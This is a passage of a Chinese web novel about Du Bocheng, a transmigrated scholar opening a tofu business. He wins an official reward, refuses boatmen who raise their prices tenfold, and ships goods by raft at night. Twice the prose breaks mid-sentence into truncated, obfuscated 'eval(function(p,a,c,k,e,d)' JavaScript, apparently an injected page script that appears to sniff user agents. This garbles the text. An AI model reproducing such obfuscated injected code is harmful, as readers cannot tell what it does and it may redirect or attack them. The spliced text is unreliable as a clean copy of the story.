杜伯承:“刺头他们呢?” “被当时暴怒的群众们,当场就给打死了。” 阿信捂着眼睛回过身,将一封信从窗外递给杜伯承:“这是高翻译官,让我给姑爷的。”等杜伯承接过,忙又背转过身去,生怕再看到什么了不得的刺激性画面。 杜伯承刚触到信纸,肩膀上便多了颗毛茸茸的脑袋。 他转头—— 那脑袋的主人很是无辜的问:“怎么,有朝廷机密,不能让我知道?” 杜伯承没说话,将信纸展开。 高汉光在信中说,官府想要肃清东市那条鱼龙混杂的小巷很久了,奈何一年之内连遭两场天灾,府库没有余银遣散难民。刁民蛮横又人多势众,实在无力管束。 杜伯承捐地助官府肃清阴晦之地,又主动献银献粮遣散难民,实属义举,也对地方治安做出了极大贡献。 为表鼓励,按朝廷例—— 天下第一豆腐在未来三年,减免商税两成; 杜柏承获得江南六州所有官驿终生住宿权; 官府决定将镇外一座瀑布山头和附近五十亩荒地,一起奖他。 现所有文书都已备齐,今晚日落之前,就能盖了官印交到他手中。 未免他挂念此事,特先来书信一封,以安他心。 杜伯承勾唇一笑,在那写着“瀑布山头”的地方用手指轻轻一点,很是心满意足道:“比我预想的好太多,真得好好谢谢高兄。” 注意到他动作的邬夜立马问:“这瀑布山头有什么特别的吗?” 杜伯承笑而不语,对阿信道:“你去回高兄,我今晚在迎宾楼摆酒做东,叫上胡大哥一起,请他务必赏光。咳咳~你刚才说的那些无家可归的难民,买些干粮,让他们都先到镇外瀑布山头的破庙里去安置,等店开了,我还有其他安排。” 阿信应诺离开。 邬夜晃着杜伯承的肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原定半个月才能完成的改造和硬装,在师傅们加班加点地努力下,到第十天晚上,便全部收尾完工。 也不用杜伯承多余交代,验收时,建筑垃圾全部清理掉,卫生也打扫得干干净净。建筑材料更是没有丝毫浪费,只多余出半块木板,也被做成了一个简单漂亮的小板凳。 杜伯承就喜欢和这种你对他好,他也懂得回以感恩之心的人打交道。 验收合格后,杜伯承在西市菜市口,一家以小炒出名的小店摆了两桌,以茶代酒和所有师傅工人们都一一碰杯后,举杯道。 “这几日承蒙大家多多关照,活做的又快又好,我很感谢。咳咳~希望我们以后有机会还能再次合作。天下第一豆腐已经拟定于农历三月二十八正式开业,到时还望大家都来捧场。” 说完将手中茶水一口饮尽,举止豪爽,落落大方,不像个矜持的书生,也没有半点富贵逼人的高架子,倒像个不拘一格的老江湖。 一群做惯了底层苦力,从未被如此礼遇过的师傅们均是满面激动,七嘴八舌道:“就凭杜东家这份慷慨及为人处世,将来生意一定昌盛兴隆!您放心,到时我们一定招呼全行的弟兄们,带着全家老小去光顾!您多多的备货就成了!” “咳咳~那杜某就先谢过大家了。” 杜伯承安顿好众人辞出来,叫来张大海,正要安顿他开业在即,千万把雇船的事都安排妥当了,张大海苦着脸先一步开了口。 “东家,那些船家忒不是东西!知道你遣散流民阔的很,现在串通好了,非要把定好的一百文一只船价,涨到一两银子!否则都不给咱拉。眼看没两天就开业了,这咋办啊?” 杜伯承眯眼:“知道是哪个船工起的头吗?” 张大海点头:“我打听了,就是上次东家来镇上,坐的那艘!” 22. 拒绝被敲诈 “这伙船工突然坐地起价。” “一,是觉得杜老弟你阔,利欲熏心想联合起来赚你。” “二,我猜是因为那天你在船上帮我妻荷花付了船费,搅了那船工的好事,又害他没了面子,所以呼朋唤友,和你作对。” 胡老八笑眯眯的和杜伯承说:“杜老弟你不要为此烦恼。归根结底,事情皆因你帮荷花而起,他们要多少银子,我都出了,别耽误你开业才是正经。” 杜伯承摇头:“胡大哥,我来找你是想商量个解决的法子,不是——” “我知道,我知道。” 胡老八拍拍杜伯承的手,安抚道:“我们认识虽然不久,但相处的这些日子,杜老弟你的为人处事,说实话非常对我胡老八的胃口,你来找我为的什么,我还能不知道?” “但杜老弟你有所不知,这船帮最是团结,他们打定主意要抱团来坑咱,说实话没有任何办法,就算你现在有只自己的船,他们不让你上水,你也没招。” 杜伯承蹙眉:“那河是他们的吗?这么霸道,咳咳~官府也不管?” “哈哈~杜老弟你还是太年轻。这就跟上坟一定要烧纸,约定成俗的规矩,只要不火拼,官府哪里管得着。” “那我从别的镇,雇船来呢?” “还是那句话,他们船帮的规矩,吃这水的人,不去那水的地盘捞,这是砸别人饭碗,很忌讳的事。” 胡老八劝杜伯承:“杜老弟,咱不和他们争这一时之气,咱们还是顾着开业要紧。总共也拉不了几趟,这船费大哥帮你出了,你也别管了,我这就去会会那帮人去。” 说着就要走。 杜伯承拉住他。 “胡大哥,我不是争一时之气,是原本一百文一只的船费,已经很高了,现在又猛地多出十倍,咳咳~要是一锤子买卖,我也懒得计较这么多,但以后呢?” “给了这一次,这船费就不可能再降下来。他们吃到甜头,拿住我非用他们不可的软处,下次开口和我要十两呢?难道也顺着他们?” 胡老八闻言一拍大腿,反应过来:“瞧我真是糊涂了!咱眼前要解决的不只是船费问题,还有以后运货的事。” “就是这么个理。” 杜伯承轻咳几声,喝口茶压压嗓子道:“他们如此出尔反尔不讲信用,若真是为了荷花姐的事才如此为难,可见也不是能长久打交道的人。我就是再有钱,也不想给他们赚。” “但杜老弟,我又想了想,这以后的事以后再说,咱现在最重要的,是你开业在即,得用船拉货啊……要么用牛车?” 杜伯承摇头:“车太费时长,拉的少不说,山路崎岖,豆腐也会被颠烂的。” 胡老八一屁股坐在凳子上:“害~这说来说去,咱还非得用人家的船不可,难怪敢狮子大开口,一下子就翻了十倍。” 和杜伯承商量:“要么找个中间人,和他们谈谈价格,再签个书契,把以后的运费也一并定好了,如何?” 杜伯承不是能委曲求全的性子,看船工们如此行事,就是现在他们降到一百文,他也不想再和这伙人打交道,更别提签书契给他们长长久久的糊口营生。 尽管胡老八说官府不管,去别镇找船的道路也行不通,但杜伯承不撞南墙不回头。 他先是去找高汉光,得到的答案和意见,不仅和胡老八一样,还有更深的一层。 “江南水乡的船帮,和北方的漕帮不一样。这群人不论籍贯地域,只要吃着水上的饭,就是一家人,你完全想象不到他们能有多团结,又有多排外。你要是小气或欺负船帮的名声传出去,那以后不止是你家的这条水路,其他水路可能也都走不通了。” 高汉光拿了一百两银子给杜伯承,劝他:“君子不与小人计较,你既然唤我一声高兄,我便厚着脸皮尽尽哥哥的责任,开导你几句。不要为了一时之气,坏了长远,这样不值得。” 其实这些道理杜伯承都懂,但他就是不愿受这口气。 想他穿越之前,借给谁豹子胆,敢这样言而无信,坐地起价和他做买卖?早就不知道弄死对方多少次了。现在好嘛,穿越不过大半年,把他前十世的气都给受完了。 杜伯承打定主意不服软,不顾劝阻去别镇租船,果不其然碰了一鼻子灰。 夜里睡不着,一只白白胖胖的信鸽落在窗台上。 明月打开看过,又是白纸一张,和明霜对视一眼,均是轻叹一声,按惯例问杜伯承:“姑爷,主子来信了,回吗?” 本以为又要被拒绝,不想杜伯承竟然从软榻上一骨碌爬起来道:“给我研磨。” 两丫头喜不自胜,当即一个研磨,一个为他摊开信纸。焚香端茶,好不殷勤。 信中,杜伯承向邬夜概述了事情经过,问邬夜能不能从南州城给他雇艘大船过来? 价格不论,只要能雇上就行。 言辞中,大有要和镇上船工一杠到底的意思。 邬夜没想到杜伯承会回自己的信,把信寄出后,就早早休息了。 待第二天早上阿信将信交给他时,当即嘱咐道:“以后只要是姑爷的来信,无论多晚,都要马上通知我。” 说完打开来看,当即就笑了:“就这一点气都不能受的娇气性子,还想做生意,真是~” 邬夜提笔回了信,亲手绑在信鸽的爪子上,摸摸它油光水滑的小翅膀,“劳烦你飞快些,可别让那娇气鬼等急了。” “布咕~”白鸽扑楞着翅膀飞向天空,不到中午,便从邬夜的掌中,落在了杜伯承的窗台上。 这次邬夜的来信必定有字,明月连同竹筒一起交给杜伯承。本以为这是夫夫俩感情升温的开始,不想杜伯承打开看过后,并没有任何愉悦之色,反而直接揉皱成团,扔进了废纸篓。 两丫头好奇,又不敢问,偷偷将那纸团捡起打开了看—— 前半段也没什么问题,都是邬夜和杜伯承解释说无法从南州城雇船给他的理由和原因。这不是推辞不帮,是客观原因真的帮不了,自然也不值得生气。 坏就坏在这最后一句:别折腾了,回家来,我养你。 两丫头对视一眼,自然都明白自家主子想对姑爷好,不想姑爷在外面受委屈的心意。但在杜柏承一个男人看来,这或许是轻视也是小瞧。 有心替自家主子解释几句,但那样就暴露了她们偷看信件的不规矩。不说杜伯承怎么想,就是邬夜知道了,也断不可能轻饶。 只得闷葫芦似的跟在杜伯承身后,漫无目的的绕着镇子走,差点憋出内伤。 溪水镇再繁华,有城墙圈着,也大不到哪里去。 杜伯承拄着华章,领着两个回头率极高的美婢,兜兜转转,来到自己买在南市的小院前。 隔着白堤绿柳,远远就看到白墙黑瓦的小院子林立在错落有致的街坊中,独门独户,地理位置极好。 饶是明月、明霜自小长在邬家那样的富贵之家,看到小院的瞬间,也不禁眼前一亮。 “好漂亮的房子!” “环境也不错。” “是啊,瞧着好惬意。” 两丫头说话间注意到杜伯承的目光也一直望着小院的方向,面上神情是那种温情款款的样子。 怕他对此地生出留恋之意,忙又改口。 “不过还是没有咱们在南州城的家好。” “没错!比起咱们的临水阁,差得远了。” 这个地方没有人知道,连与杜伯承形影不离的华章都不知。 这是杜伯承为自己准备的家,也是这孤单世界里,唯一能让他有一丝丝归属感的地方。就算当初筹钱买有一茶楼时,也没有想过要把它卖掉。 现在他很想去里面独自待一会儿,但还不是时候。 最起码在店铺开业前,这个独属于自己的秘密基地,不能被其他人知道。尤其是邬夜。 杜伯承最后看了眼自己的小院子,转道回迎宾楼。刚要进门,忽有一个小乞丐横冲直撞朝他跑来,未到眼前,就被拦下。 小乞丐踮起脚冲杜伯承挥手:“恩人!是我呀!我和爷爷从社庙回来啦!智慧大师还让我带了东西给你!” 杜伯承认出他是谁,接过小乞丐手里的东西一看,是包清火名目的菊花茶。问他:“智慧还好吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“恩人,这完全是小事一桩。咱做个竹筏,半夜里载着货顺流而下,没人发觉的。” 张大海又驳他:“老人家,一看你就是个外行。这夜里风急,水比风更急。人家小船都怕翻,你一个小竹筏怎么可能嘛,不翻也得散。” 老乞丐一下就不依了,瞪圆了两只浑浊的眼睛道:“我老头子从小在海上为生,什么大风大浪没见过?你不要看我是个乞丐就小瞧我,我老头子撑的筏子,从来就没翻过也没散过!不信你问我孙子!” 小乞丐立马作证,很骄傲的说:“我爷爷说的没错!连朝廷造船,也雇我爷爷去做工呢!村里人做筏子,也全都找我爷爷!” 杜伯承其实也对这个法子没信心,抱着姑且一试的心态,当即带老乞丐去了镇外瀑布山头的破庙里,和收留来的一大群老弱病残,在自己的山上就地取材,连夜做了个足够运载五百来斤的大竹筏出来。 时值半夜,万籁俱寂,连守城门的士兵都在呼呼打着酣。 一群人抬着竹筏从山上摸黑下来,齐力推至河中,待装好石块,由老乞丐撑筏,明月随行保护,在众人的目送中,一老一少逆风远去。 成败在此一举。 杜伯承望着夜色里滚滚而流的长河水,盘算着在瀑布山头建水车磨坊,利用水力转换成机械力建造豆腐坊的事。 到时不仅不用再远距离运输,各方面的成本也能省下很多不说,生产力也会大大提高。 还有就是,一定要组个自己的船队…… 杜柏承正想的出神,明霜忽低声道:“姑爷,主子来了。” 这大半夜的…… 杜伯承蹙眉:“哪呢?” “我带姑爷去……” 杜伯承交代张大海看好睡在草丛里的华章,和明霜避开众人穿进林子,七拐八拐走了不多时,便看到熟悉的红木马车,停在一片茂密的竹林深处。 隐约可见车厢里的微弱烛光,照映出一个朦胧剪影。 杜柏承登上马车一掀帘子,扑面而来一股沁人心脾的茶香。 他坐下刚要端杯,腕子就被一握。 杜柏承偏过头。 看邬夜靠过来问:“就光看到茶了是吧?”